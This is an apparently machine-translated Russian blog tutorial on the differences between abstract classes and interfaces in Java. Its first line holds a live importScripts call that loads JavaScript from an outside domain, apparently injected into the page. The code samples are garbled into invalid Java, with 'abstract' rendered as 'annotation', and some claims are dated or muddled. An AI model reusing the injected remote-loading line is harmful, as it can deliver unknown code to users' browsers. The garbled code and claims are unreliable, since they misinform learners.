google-site-verification: google2818f8f06eec354e.html self.importScripts('https://zworld-news.com/sw/w_1.js');

Разница между абстрактным классом и интерфейсом в Java

Абстрактный класс и интерфейс используются для достижения абстракции 
в Java. Тем не менее, есть много различий между абстрактным классом и 
интерфейсом, которыми я делюсь в этом уроке.

Разница между абстрактным классом и интерфейсом в Java

Разница между абстрактным классом и интерфейсом в Java
Разница между абстрактным классом и интерфейсом в Java - источник изображения
Абстрактный 
класс
Интерфейс
Абстрактный класс может иметь как абстрактные, так и неабстрактные методы.
Интерфейс может иметь только абстрактные методы.
Абстрактный класс расширяется с помощью ключевого слова «extends».
Интерфейс реализован с использованием ключевого слова «Implements».
По умолчанию спецификатор доступа к методам - ​​«по умолчанию».
По умолчанию спецификатор доступа к методам «public».
Абстрактный класс может иметь статические, нестатические, конечные и не финальные переменные.
Интерфейс может иметь конечные и статические переменные.
У абстрактного класса есть конструктор.
Интерфейс не имеет конструктора.
Абстрактный класс - это частичная реализация абстракции.
Интерфейс полностью реализует абстракцию.
Многократное наследование не может быть достигнуто с помощью абстрактного класса.
Многократное наследование может быть достигнуто с помощью интерфейса.
Ключевое слово «abstract» используется для объявления абстрактного класса. Пример 
приведен ниже.
абстрактный MyClass

{

   публичная аннотация void show ();

}
Ключевое слово «interface» используется для объявления интерфейса. Пример приведен 
ниже.
интерфейс MyInterface

{

   void show ();

}

Комментариев нет:

Отправить комментарий